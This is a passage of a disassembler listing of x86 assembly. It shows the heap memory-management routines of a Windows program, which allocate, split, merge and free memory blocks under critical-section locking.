cmp dword ptr [eax+0Ch], 0
jnz short loc_40187F
mov eax, [esi]
call sub_4011FC
jmp short loc_40187F
; ---------------------------------------------------------------------------
loc_401878: ; CODE XREF: sub_401744+F0j
; sub_401744+F7j
mov eax, [esp+28h+var_28]
xor edx, edx
mov [eax], edx
loc_40187F: ; CODE XREF: sub_401744+9Cj
; sub_401744+E7j ...
add esp, 18h
pop ebp
pop edi
pop esi
pop ebx
retn
sub_401744 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_401888 proc near ; CODE XREF: sub_401D0C+5Bp
; sub_401D0C+6Cp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
push ebx
add esp, 0FFFFFFE8h
mov ebx, ecx
lea ecx, [eax+3FFFh]
and ecx, 0FFFFC000h
mov [esp+1Ch+var_1C], ecx
add edx, eax
and edx, 0FFFFC000h
mov [esp+1Ch+var_18], edx
mov eax, [esp+1Ch+var_18]
cmp eax, [esp+1Ch+var_1C]
jbe short loc_401911
mov ecx, ebx
mov edx, [esp+1Ch+var_18]
sub edx, [esp+1Ch+var_1C]
mov eax, [esp+1Ch+var_1C]
call sub_4015E0
lea ecx, [esp+1Ch+var_14]
mov edx, ebx
mov eax, offset off_4075E4
call sub_401230
mov ebx, [esp+1Ch+var_14]
test ebx, ebx
jz short loc_4018FA
lea ecx, [esp+1Ch+var_C]
mov edx, [esp+1Ch+var_10]
mov eax, ebx
call sub_401458
mov eax, [esp+1Ch+var_C]
mov [esp+1Ch+var_14], eax
mov eax, [esp+1Ch+var_8]
mov [esp+1Ch+var_10], eax
loc_4018FA: ; CODE XREF: sub_401888+51j
cmp [esp+1Ch+var_14], 0
jz short loc_401915
lea edx, [esp+1Ch+var_14]
mov eax, offset off_4075E4
call sub_4012B8
jmp short loc_401915
; ---------------------------------------------------------------------------
loc_401911: ; CODE XREF: sub_401888+28j
xor eax, eax
mov [ebx], eax
loc_401915: ; CODE XREF: sub_401888+77j
; sub_401888+87j
add esp, 18h
pop ebx
retn
sub_401888 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40191C proc near ; CODE XREF: sub_402178+12p
; sub_402324+19p ...
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00402F8C SIZE 00000036 BYTES
push ebp
mov ebp, esp
push ecx
xor edx, edx
push ebp
push offset loc_4019E4
push dword ptr fs:[edx]
mov fs:[edx], esp
push offset dword_4075B4
call sub_4010F4 ; InitializeCriticalSection
cmp ds:byte_407035, 0
jz short loc_40194B
push offset dword_4075B4
call sub_4010FC ; RtlEnterCriticalSection
loc_40194B: ; CODE XREF: sub_40191C+23j
mov eax, offset off_4075D4
call sub_401198
mov eax, offset off_4075E4
call sub_401198
mov eax, offset off_407610
call sub_401198
push 0FF8h
push 0
call sub_4010D4 ; LocalAlloc
mov ds:dword_40760C, eax
cmp ds:dword_40760C, 0
jz short loc_4019C3
mov eax, 3
loc_401988: ; CODE XREF: sub_40191C+7Ej
mov edx, ds:dword_40760C
xor ecx, ecx
mov [edx+eax*4-0Ch], ecx
inc eax
cmp eax, 401h
jnz short loc_401988
mov [ebp+var_4], offset dword_4075F4
mov eax, [ebp+var_4]
mov edx, [ebp+var_4]
mov [eax+4], edx
mov eax, [ebp+var_4]
mov edx, [ebp+var_4]
mov [eax], edx
mov eax, [ebp+var_4]
mov ds:dword_407600, eax
mov ds:byte_4075AC, 1
loc_4019C3: ; CODE XREF: sub_40191C+65j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4019EB
loc_4019D0: ; CODE XREF: sub_40191C+CDj
cmp ds:byte_407035, 0
jz short locret_4019E3
push offset dword_4075B4
call sub_401104 ; RtlLeaveCriticalSection
locret_4019E3: ; CODE XREF: sub_40191C+BBj
retn
; ---------------------------------------------------------------------------
loc_4019E4: ; DATA XREF: sub_40191C+7o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_4019D0
; ---------------------------------------------------------------------------
loc_4019EB: ; DATA XREF: sub_40191C+AFo
mov al, ds:byte_4075AC
pop ecx
pop ebp
retn
sub_40191C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019F4 proc near ; CODE XREF: sub_403A90+37p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
cmp ds:byte_4075AC, 0
jz loc_401AEF
xor eax, eax
push ebp
push offset loc_401AE8
push dword ptr fs:[eax]
mov fs:[eax], esp
cmp ds:byte_407035, 0
jz short loc_401A28
push offset dword_4075B4
call sub_4010FC ; RtlEnterCriticalSection
loc_401A28: ; CODE XREF: sub_4019F4+28j
mov ds:byte_4075AC, 0
mov eax, ds:dword_40760C
push eax
call sub_4010DC ; LocalFree
xor eax, eax
mov ds:dword_40760C, eax
mov eax, ds:off_4075D4
mov [ebp+var_8], eax
jmp short loc_401A66
; ---------------------------------------------------------------------------
loc_401A4B: ; CODE XREF: sub_4019F4+7Aj
push 8000h
push 0
mov eax, [ebp+var_8]
mov eax, [eax+8]
push eax
call sub_4010EC ; VirtualFree
mov eax, [ebp+var_8]
mov eax, [eax]
mov [ebp+var_8], eax
loc_401A66: ; CODE XREF: sub_4019F4+55j
mov eax, offset off_4075D4
cmp eax, [ebp+var_8]
jnz short loc_401A4B
mov eax, offset off_4075D4
call sub_401198
mov eax, offset off_4075E4
call sub_401198
mov eax, offset off_407610
call sub_401198
mov eax, ds:dword_4075CC
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_401ABD
loc_401A9C: ; CODE XREF: sub_4019F4+C7j
mov eax, [ebp+var_4]
mov eax, [eax]
mov ds:dword_4075CC, eax
mov eax, [ebp+var_4]
push eax
call sub_4010DC ; LocalFree
mov eax, ds:dword_4075CC
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_401A9C
loc_401ABD: ; CODE XREF: sub_4019F4+A6j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_401AEF
loc_401ACA: ; CODE XREF: sub_4019F4+F9j
cmp ds:byte_407035, 0
jz short loc_401ADD
push offset dword_4075B4
call sub_401104 ; RtlLeaveCriticalSection
loc_401ADD: ; CODE XREF: sub_4019F4+DDj
push offset dword_4075B4
call sub_40110C ; RtlDeleteCriticalSection
retn
; ---------------------------------------------------------------------------
loc_401AE8: ; DATA XREF: sub_4019F4+16o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_401ACA
; ---------------------------------------------------------------------------
loc_401AEF: ; CODE XREF: sub_4019F4+Dj
; DATA XREF: sub_4019F4+D1o
pop ecx
pop ecx
pop ebp
retn
sub_4019F4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_401AF4 proc near ; CODE XREF: sub_401C54+6Bp
; sub_401CCC+25p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
push ebx
add esp, 0FFFFFFF8h
cmp eax, ds:dword_407600
jnz short loc_401B09
mov edx, [eax+4]
mov ds:dword_407600, edx
loc_401B09: ; CODE XREF: sub_401AF4+Aj
mov edx, [eax+4]
mov [esp+0Ch+var_C], edx
mov edx, [eax+8]
cmp edx, 1000h
jg short loc_401B68
cmp eax, [esp+0Ch+var_C]
jnz short loc_401B36
test edx, edx
jns short loc_401B26
add edx, 3
loc_401B26: ; CODE XREF: sub_401AF4+2Dj
sar edx, 2
mov eax, ds:dword_40760C
xor ecx, ecx
mov [eax+edx*4-0Ch], ecx
jmp short loc_401B81
; ---------------------------------------------------------------------------
loc_401B36: ; CODE XREF: sub_401AF4+29j
test edx, edx
jns short loc_401B3D
add edx, 3
loc_401B3D: ; CODE XREF: sub_401AF4+44j
sar edx, 2
mov ecx, ds:dword_40760C
mov ebx, [esp+0Ch+var_C]
mov [ecx+edx*4-0Ch], ebx
mov eax, [eax]
mov [esp+0Ch+var_8], eax
mov eax, [esp+0Ch+var_C]
mov edx, [esp+0Ch+var_8]
mov [eax], edx
mov eax, [esp+0Ch+var_8]
mov edx, [esp+0Ch+var_C]
mov [eax+4], edx
jmp short loc_401B81
; ---------------------------------------------------------------------------
loc_401B68: ; CODE XREF: sub_401AF4+24j
mov eax, [eax]
mov [esp+0Ch+var_8], eax
mov eax, [esp+0Ch+var_C]
mov edx, [esp+0Ch+var_8]
mov [eax], edx
mov eax, [esp+0Ch+var_8]
mov edx, [esp+0Ch+var_C]
mov [eax+4], edx
loc_401B81: ; CODE XREF: sub_401AF4+40j
; sub_401AF4+72j
pop ecx
pop edx
pop ebx
retn
sub_401AF4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_401B88 proc near ; CODE XREF: sub_401D0C+Fp
push ebx
push ecx
mov ecx, esp
mov edx, ds:off_407610
mov [ecx], edx
jmp short loc_401BAE
; ---------------------------------------------------------------------------
loc_401B96: ; CODE XREF: sub_401B88+2Dj
mov edx, [ecx]
mov edx, [edx+8]
cmp eax, edx
jb short loc_401BA8
mov ebx, [ecx]
add edx, [ebx+0Ch]
cmp eax, edx
jb short loc_401BC5
loc_401BA8: ; CODE XREF: sub_401B88+15j
mov edx, [ecx]
mov edx, [edx]
mov [ecx], edx
loc_401BAE: ; CODE XREF: sub_401B88+Cj
mov edx, offset off_407610
cmp edx, [ecx]
jnz short loc_401B96
mov ds:dword_4075B0, 3
xor eax, eax
mov [ecx], eax
loc_401BC5: ; CODE XREF: sub_401B88+1Ej
mov eax, [ecx]
pop edx
pop ebx
retn
sub_401B88 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_401BCC proc near ; CODE XREF: sub_401D0C+7Ep
; sub_401F0C+68p
var_8 = dword ptr -8
push ebx
push ecx
mov ecx, edx
sub ecx, 4
lea ebx, [ecx+eax]
mov [esp+8+var_8], ebx
cmp edx, 10h
jl short loc_401BF1
mov edx, [esp+8+var_8]
mov dword ptr [edx], 80000007h
mov edx, ecx
call sub_401DC8
pop edx
pop ebx
retn
; ---------------------------------------------------------------------------
loc_401BF1: ; CODE XREF: sub_401BCC+10j
cmp edx, 4
jl short loc_401C05
mov ecx, edx
or ecx, 80000002h
mov [eax], ecx
mov eax, [esp+8+var_8]
mov [eax], ecx
loc_401C05: ; CODE XREF: sub_401BCC+28j
pop edx
pop ebx
retn
sub_401BCC endp
; =============== S U B R O U T I N E =======================================
sub_401C08 proc near ; CODE XREF: sub_401C2C+Dp
; sub_401EC0+36p ...
inc ds:dword_40759C
mov edx, eax
sub edx, 4
mov edx, [edx]
and edx, 7FFFFFFCh
sub edx, 4
add ds:dword_4075A0, edx
call sub_402324
retn
sub_401C08 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_401C2C proc near ; CODE XREF: sub_401D0C+A0p
cmp edx, 0Ch
jl short loc_401C3F
or edx, 2
mov [eax], edx
add eax, 4
call sub_401C08
retn
; ---------------------------------------------------------------------------
loc_401C3F: ; CODE XREF: sub_401C2C+3j
cmp edx, 4
jl short loc_401C4E
mov ecx, edx
or ecx, 80000002h
mov [eax], ecx
loc_401C4E: ; CODE XREF: sub_401C2C+16j
add eax, edx
and dword ptr [eax], 0FFFFFFFEh
retn
sub_401C2C endp
; =============== S U B R O U T I N E =======================================
sub_401C54 proc near ; CODE XREF: sub_401F0C+36p
var_C = dword ptr -0Ch
push ebx
push esi
push ecx
mov edx, eax
sub edx, 4
mov edx, [edx]
mov ecx, edx
and ecx, 80000002h
cmp ecx, 80000002h
jz short loc_401C78
mov ds:dword_4075B0, 4
loc_401C78: ; CODE XREF: sub_401C54+18j
mov ebx, edx
and ebx, 7FFFFFFCh
sub eax, ebx
mov ecx, eax
xor edx, [ecx]
test edx, 0FFFFFFFEh
jz short loc_401C98
mov ds:dword_4075B0, 5
loc_401C98: ; CODE XREF: sub_401C54+38j
test byte ptr [ecx], 1
jz short loc_401CC6
mov edx, eax
sub edx, 0Ch
mov esi, [edx+8]
sub eax, esi
mov [esp+0Ch+var_C], eax
mov eax, [esp+0Ch+var_C]
cmp esi, [eax+8]
jz short loc_401CBC
mov ds:dword_4075B0, 6
loc_401CBC: ; CODE XREF: sub_401C54+5Cj
mov eax, [esp+0Ch+var_C]
call sub_401AF4
add ebx, esi
loc_401CC6: ; CODE XREF: sub_401C54+47j
mov eax, ebx
pop edx
pop esi
pop ebx
retn
sub_401C54 endp
; =============== S U B R O U T I N E =======================================
sub_401CCC proc near ; CODE XREF: sub_401F0C+4Fp
var_C = dword ptr -0Ch
push ebx
push esi
push ecx
mov ebx, eax
xor esi, esi
mov eax, [ebx]
test eax, 80000000h
jz short loc_401CE7
and eax, 7FFFFFFCh
add esi, eax
add ebx, eax
mov eax, [ebx]
loc_401CE7: ; CODE XREF: sub_401CCC+Ej
test al, 2
jnz short loc_401D03
mov [esp+0Ch+var_C], ebx
mov eax, [esp+0Ch+var_C]
call sub_401AF4
mov eax, [esp+0Ch+var_C]
mov eax, [eax+8]
add esi, eax
add ebx, eax
and dword ptr [ebx], 0FFFFFFFEh
loc_401D03: ; CODE XREF: sub_401CCC+1Dj
mov eax, esi
pop edx
pop esi
pop ebx
retn
sub_401CCC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_401D0C proc near ; CODE XREF: sub_401DC8+A7p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFF4h
mov esi, edx
mov ebp, eax
xor ebx, ebx
mov eax, ebp
call sub_401B88
mov [esp+1Ch+var_14], eax
cmp [esp+1Ch+var_14], 0
jz loc_401DBE
mov eax, [esp+1Ch+var_14]
mov edi, [eax+8]
mov eax, edi
mov edx, [esp+1Ch+var_14]
add eax, [edx+0Ch]
mov edx, eax
lea ecx, [esi+ebp]
sub edx, ecx
cmp edx, 0Ch
jg short loc_401D4F
mov esi, eax
sub esi, ebp
loc_401D4F: ; CODE XREF: sub_401D0C+3Dj
mov eax, ebp
sub eax, edi
cmp eax, 0Ch
jge short loc_401D6E
mov eax, [esp+1Ch+var_14]
mov edx, ebp
sub edx, [eax+8]
add edx, esi
mov ecx, esp
mov eax, edi
call sub_401888
jmp short loc_401D7D
; ---------------------------------------------------------------------------
loc_401D6E: ; CODE XREF: sub_401D0C+4Aj
mov ecx, esp
mov edx, esi
sub edx, 4
lea eax, [ebp+4]
call sub_401888
loc_401D7D: ; CODE XREF: sub_401D0C+60j
mov edi, [esp+1Ch+var_1C]
test edi, edi
jz short loc_401DBE
mov edx, edi
sub edx, ebp
mov eax, ebp
call sub_401BCC
mov edx, [esp+1Ch+var_14]
mov edx, [edx+8]
mov ecx, [esp+1Ch+var_14]
add edx, [ecx+0Ch]
mov eax, edi
add eax, [esp+1Ch+var_18]
cmp edx, eax
jbe short loc_401DB1
lea edx, [esi+ebp]
sub edx, eax
call sub_401C2C
loc_401DB1: ; CODE XREF: sub_401D0C+99j
mov edx, esp
mov eax, [esp+1Ch+var_14]
call sub_4012B8
mov bl, 1
loc_401DBE: ; CODE XREF: sub_401D0C+1Dj
; sub_401D0C+76j
mov eax, ebx
add esp, 0Ch
pop ebp
pop edi
pop esi
pop ebx
retn
sub_401D0C endp
; =============== S U B R O U T I N E =======================================
sub_401DC8 proc near ; CODE XREF: sub_401BCC+1Dp
; sub_402030+EEp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
push ebx
push esi
add esp, 0FFFFFFF4h
mov ebx, edx
mov esi, eax
mov [esp+14h+var_14], esi
mov eax, [esp+14h+var_14]
mov [eax+8], ebx
mov eax, [esp+14h+var_14]
add eax, ebx
sub eax, 0Ch
mov [eax+8], ebx
cmp ebx, 1000h
jg short loc_401E63
mov eax, ebx
test eax, eax
jns short loc_401DF6
add eax, 3
loc_401DF6: ; CODE XREF: sub_401DC8+29j
sar eax, 2
mov edx, ds:dword_40760C
mov edx, [edx+eax*4-0Ch]
mov [esp+14h+var_10], edx
cmp [esp+14h+var_10], 0
jnz short loc_401E31
mov edx, ds:dword_40760C
mov ecx, [esp+14h+var_14]
mov [edx+eax*4-0Ch], ecx
mov eax, [esp+14h+var_14]
mov edx, [esp+14h+var_14]
mov [eax+4], edx
mov eax, [esp+14h+var_14]
mov edx, [esp+14h+var_14]
mov [eax], edx
jmp loc_401EB9
; ---------------------------------------------------------------------------
loc_401E31: ; CODE XREF: sub_401DC8+44j
mov eax, [esp+14h+var_10]
mov eax, [eax]
mov [esp+14h+var_C], eax
mov eax, [esp+14h+var_14]
mov edx, [esp+14h+var_10]
mov [eax+4], edx
mov eax, [esp+14h+var_14]
mov edx, [esp+14h+var_C]
mov [eax], edx
mov eax, [esp+14h+var_10]
mov edx, [esp+14h+var_14]
mov [eax], edx
mov eax, [esp+14h+var_C]
mov edx, [esp+14h+var_14]
mov [eax+4], edx
jmp short loc_401EB9
; ---------------------------------------------------------------------------
loc_401E63: ; CODE XREF: sub_401DC8+23j
cmp ebx, 3C00h
jl short loc_401E78
mov edx, ebx
mov eax, esi
call sub_401D0C
test al, al
jnz short loc_401EB9
loc_401E78: ; CODE XREF: sub_401DC8+A1j
mov eax, ds:dword_407600
mov [esp+14h+var_10], eax
mov eax, [esp+14h+var_14]
mov ds:dword_407600, eax
mov eax, [esp+14h+var_10]
mov eax, [eax]
mov [esp+14h+var_C], eax
mov eax, [esp+14h+var_14]
mov edx, [esp+14h+var_10]
mov [eax+4], edx
mov eax, [esp+14h+var_14]
mov edx, [esp+14h+var_C]
mov [eax], edx
mov eax, [esp+14h+var_10]
mov edx, [esp+14h+var_14]
mov [eax], edx
mov eax, [esp+14h+var_C]
mov edx, [esp+14h+var_14]
mov [eax+4], edx
loc_401EB9: ; CODE XREF: sub_401DC8+64j
; sub_401DC8+99j ...
add esp, 0Ch
pop esi
pop ebx
retn
sub_401DC8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_401EC0 proc near ; CODE XREF: sub_401F0C+Fp
; sub_402324+11Dp ...
cmp ds:dword_407604, 0
jle short locret_401F09
cmp ds:dword_407604, 0Ch
jge short loc_401EDE
mov ds:dword_4075B0, 7
jmp short locret_401F09
; ---------------------------------------------------------------------------
loc_401EDE: ; CODE XREF: sub_401EC0+10j
mov eax, ds:dword_407604
or eax, 2
mov edx, ds:dword_407608
mov [edx], eax
mov eax, ds:dword_407608
add eax, 4
call sub_401C08
xor eax, eax
mov ds:dword_407608, eax
xor eax, eax
mov ds:dword_407604, eax
locret_401F09: ; CODE XREF: sub_401EC0+7j
; sub_401EC0+1Cj
retn
sub_401EC0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_401F0C proc near ; CODE XREF: sub_401F98+18p
; sub_401FC4+1Dp
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
push ebx
push esi
push edi
add esp, 0FFFFFFF0h
mov esi, eax
lea edi, [esp+1Ch+var_1C]
movsd
movsd
mov edi, esp
call sub_401EC0
lea ecx, [esp+1Ch+var_14]
mov edx, edi
mov eax, offset off_407610
call sub_401230
mov ebx, [esp+1Ch+var_14]
test ebx, ebx
jnz short loc_401F3C
xor eax, eax
jmp short loc_401F8E
; ---------------------------------------------------------------------------
loc_401F3C: ; CODE XREF: sub_401F0C+2Aj
mov eax, [edi]
cmp ebx, eax
jnb short loc_401F4C
call sub_401C54
sub [edi], eax
add [edi+4], eax
loc_401F4C: ; CODE XREF: sub_401F0C+34j
mov eax, [edi]
add eax, [edi+4]
mov esi, ebx
add esi, [esp+1Ch+var_10]
cmp eax, esi
jnb short loc_401F63
call sub_401CCC
add [edi+4], eax
loc_401F63: ; CODE XREF: sub_401F0C+4Dj
mov eax, [edi]
add eax, [edi+4]
cmp esi, eax
jnz short loc_401F7D
sub eax, 4
mov edx, 4
call sub_401BCC
sub dword ptr [edi+4], 4
loc_401F7D: ; CODE XREF: sub_401F0C+5Ej
mov eax, [edi]
mov ds:dword_407608, eax
mov eax, [edi+4]
mov ds:dword_407604, eax
mov al, 1
loc_401F8E: ; CODE XREF: sub_401F0C+2Ej
add esp, 10h
pop edi
pop esi
pop ebx
retn
sub_401F0C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_401F98 proc near ; CODE XREF: sub_402030+76p
var_C = dword ptr -0Ch
push ebx
add esp, 0FFFFFFF8h
mov ebx, eax
mov edx, esp
lea eax, [ebx+4]
call sub_40169C
cmp [esp+0Ch+var_C], 0
jz short loc_401FB9
mov eax, esp
call sub_401F0C
test al, al
jnz short loc_401FBD
loc_401FB9: ; CODE XREF: sub_401F98+14j
xor eax, eax
jmp short loc_401FBF
; ---------------------------------------------------------------------------
loc_401FBD: ; CODE XREF: sub_401F98+1Fj
mov al, 1
loc_401FBF: ; CODE XREF: sub_401F98+23j
pop ecx
pop edx
pop ebx
retn
sub_401F98 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_401FC4 proc near ; CODE XREF: sub_4024FC+1C3p
var_10 = dword ptr -10h
push ebx
push esi
add esp, 0FFFFFFF8h
mov esi, edx
mov ebx, eax
mov ecx, esp
lea edx, [esi+4]
mov eax, ebx
call sub_401744
cmp [esp+10h+var_10], 0
jz short loc_401FEA
mov eax, esp
call sub_401F0C
test al, al
jnz short loc_401FEE
loc_401FEA: ; CODE XREF: sub_401FC4+19j
xor eax, eax
jmp short loc_401FF0
; ---------------------------------------------------------------------------
loc_401FEE: ; CODE XREF: sub_401FC4+24j
mov al, 1
loc_401FF0: ; CODE XREF: sub_401FC4+28j
pop ecx
pop edx
pop esi
pop ebx
retn
sub_401FC4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_401FF8 proc near ; CODE XREF: sub_402030+68p
push ecx
mov edx, esp
xor ecx, ecx
mov [edx], ecx
test eax, eax
jns short loc_402006
add eax, 3
loc_402006: ; CODE XREF: sub_401FF8+9j
sar eax, 2
cmp eax, 400h
jg short loc_402029
loc_402010: ; CODE XREF: sub_401FF8+2Fj
mov ecx, ds:dword_40760C
mov ecx, [ecx+eax*4-0Ch]
mov [edx], ecx
cmp dword ptr [edx], 0
jnz short loc_402029
inc eax
cmp eax, 401h
jnz short loc_402010
loc_402029: ; CODE XREF: sub_401FF8+16j
; sub_401FF8+27j
mov eax, [edx]
pop edx
retn
sub_401FF8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_402030 proc near ; CODE XREF: sub_402178+173p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFF4h
mov ebx, eax
lea esi, [esp+1Ch+var_14]
mov edi, offset dword_407600
mov ebp, offset dword_407604
loc_402047: ; CODE XREF: sub_402030+8Cj
mov eax, ds:dword_4075F8
mov [esi], eax
mov eax, [esi]
cmp ebx, [eax+8]
jle loc_402104
mov eax, [edi]
mov [esi], eax
mov eax, [esi]
mov eax, [eax+8]
cmp ebx, eax
jle loc_402104
mov edx, [esi]
mov [edx+8], ebx
loc_40206F: ; CODE XREF: sub_402030+4Bj
mov edx, [esi]
mov edx, [edx+4]
mov [esi], edx
mov edx, [esi]
cmp ebx, [edx+8]
jg short loc_40206F
mov edx, [edi]
mov [edx+8], eax
mov eax, [esi]
cmp eax, [edi]
jz short loc_40208E
mov eax, [esi]
mov [edi], eax
jmp short loc_402104
; ---------------------------------------------------------------------------
loc_40208E: ; CODE XREF: sub_402030+56j
cmp ebx, 1000h
jg short loc_4020A4
mov eax, ebx
call sub_401FF8
mov [esi], eax
cmp dword ptr [esi], 0
jnz short loc_402104
loc_4020A4: ; CODE XREF: sub_402030+64j
mov eax, ebx
call sub_401F98
test al, al
jnz short loc_4020B9
xor eax, eax
mov [esp+1Ch+var_1C], eax
jmp loc_40216D
; ---------------------------------------------------------------------------
loc_4020B9: ; CODE XREF: sub_402030+7Dj
cmp ebx, [ebp+0]
jg short loc_402047
sub [ebp+0], ebx
cmp dword ptr [ebp+0], 0Ch
jge short loc_4020CF
add ebx, [ebp+0]
xor eax, eax
mov [ebp+0], eax
loc_4020CF: ; CODE XREF: sub_402030+95j
mov eax, ds:dword_407608
mov [esp+1Ch+var_18], eax
add ds:dword_407608, ebx
mov eax, ebx
or eax, 2
mov edx, [esp+1Ch+var_18]
mov [edx], eax
mov eax, [esp+1Ch+var_18]
add eax, 4
mov [esp+1Ch+var_1C], eax
inc ds:dword_40759C
sub ebx, 4
add ds:dword_4075A0, ebx
jmp short loc_40216D
; ---------------------------------------------------------------------------
loc_402104: ; CODE XREF: sub_402030+23j
; sub_402030+34j ...
mov eax, [esi]
call sub_401AF4
mov eax, [esi]
mov edx, [eax+8]
mov eax, edx
sub eax, ebx
cmp eax, 0Ch
jl short loc_402125
mov edx, [esi]
add edx, ebx
xchg eax, edx
call sub_401DC8
jmp short loc_402143
; ---------------------------------------------------------------------------
loc_402125: ; CODE XREF: sub_402030+E7j
mov ebx, edx
mov eax, [esi]
cmp eax, [edi]
jnz short loc_402134
mov eax, [esi]
mov eax, [eax+4]
mov [edi], eax
loc_402134: ; CODE XREF: sub_402030+FBj
mov eax, [esi]
add eax, ebx
mov [esp+1Ch+var_18], eax
mov eax, [esp+1Ch+var_18]
and dword ptr [eax], 0FFFFFFFEh
loc_402143: ; CODE XREF: sub_402030+F3j
mov eax, [esi]
mov [esp+1Ch+var_18], eax
mov eax, ebx
or eax, 2
mov edx, [esp+1Ch+var_18]
mov [edx], eax
mov eax, [esp+1Ch+var_18]
add eax, 4
mov [esp+1Ch+var_1C], eax
inc ds:dword_40759C
sub ebx, 4
add ds:dword_4075A0, ebx
loc_40216D: ; CODE XREF: sub_402030+84j
; sub_402030+D2j
mov eax, [esp+1Ch+var_1C]
add esp, 0Ch
pop ebp
pop edi
pop esi
pop ebx
retn
sub_402030 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402178 proc near ; CODE XREF: sub_402700+5Dp
; sub_4027CC+Ap ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
push ebx
mov ebx, eax
cmp ds:byte_4075AC, 0
jnz short loc_402193
call sub_40191C
test al, al
jz short loc_40219B
loc_402193: ; CODE XREF: sub_402178+10j
cmp ebx, 7FFFFFF8h
jle short loc_4021A5
loc_40219B: ; CODE XREF: sub_402178+19j
xor eax, eax
mov [ebp+var_4], eax
jmp loc_40231B
; ---------------------------------------------------------------------------
loc_4021A5: ; CODE XREF: sub_402178+21j
xor edx, edx
push ebp
push offset loc_402314
push dword ptr fs:[edx]
mov fs:[edx], esp
cmp ds:byte_407035, 0
jz short loc_4021C6
push offset dword_4075B4
call sub_4010FC ; RtlEnterCriticalSection
loc_4021C6: ; CODE XREF: sub_402178+42j
add ebx, 7
and ebx, 0FFFFFFFCh
cmp ebx, 0Ch
jge short loc_4021D6
mov ebx, 0Ch
loc_4021D6: ; CODE XREF: sub_402178+57j
cmp ebx, 1000h
jg loc_40228E
mov eax, ebx
test eax, eax
jns short loc_4021EB
add eax, 3
loc_4021EB: ; CODE XREF: sub_402178+6Ej
sar eax, 2
mov edx, ds:dword_40760C
mov edx, [edx+eax*4-0Ch]
mov [ebp+var_8], edx
cmp [ebp+var_8], 0
jz loc_40228E
mov edx, [ebp+var_8]
add edx, ebx
mov [ebp+var_14], edx
mov edx, [ebp+var_14]
and dword ptr [edx], 0FFFFFFFEh
mov edx, [ebp+var_8]
mov edx, [edx+4]
mov [ebp+var_10], edx
mov edx, [ebp+var_10]
cmp edx, [ebp+var_8]
jnz short loc_402232
mov edx, ds:dword_40760C
xor ecx, ecx
mov [edx+eax*4-0Ch], ecx
jmp short loc_402258
; ---------------------------------------------------------------------------
loc_402232: ; CODE XREF: sub_402178+AAj
mov edx, ds:dword_40760C
mov ecx, [ebp+var_10]
mov [edx+eax*4-0Ch], ecx
mov eax, [ebp+var_8]
mov eax, [eax]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
mov edx, [ebp+var_10]
mov [eax+4], edx
mov eax, [ebp+var_10]
mov edx, [ebp+var_C]
mov [eax], edx
loc_402258: ; CODE XREF: sub_402178+B8j
mov eax, [ebp+var_8]
mov [ebp+var_14], eax
mov eax, [ebp+var_8]
mov eax, [eax+8]
or eax, 2
mov edx, [ebp+var_14]
mov [edx], eax
mov eax, [ebp+var_14]
add eax, 4
mov [ebp+var_4], eax
inc ds:dword_40759C
sub ebx, 4
add ds:dword_4075A0, ebx
call sub_403048
jmp loc_40231B
; ---------------------------------------------------------------------------
loc_40228E: ; CODE XREF: sub_402178+64j
; sub_402178+87j
cmp ebx, ds:dword_407604
jg short loc_4022E9
sub ds:dword_407604, ebx
cmp ds:dword_407604, 0Ch
jge short loc_4022B2
add ebx, ds:dword_407604
xor eax, eax
mov ds:dword_407604, eax
loc_4022B2: ; CODE XREF: sub_402178+12Bj
mov eax, ds:dword_407608
mov [ebp+var_14], eax
add ds:dword_407608, ebx
mov eax, ebx
or eax, 2
mov edx, [ebp+var_14]
mov [edx], eax
mov eax, [ebp+var_14]
add eax, 4
mov [ebp+var_4], eax
inc ds:dword_40759C
sub ebx, 4
add ds:dword_4075A0, ebx
call sub_403048
jmp short loc_40231B
; ---------------------------------------------------------------------------
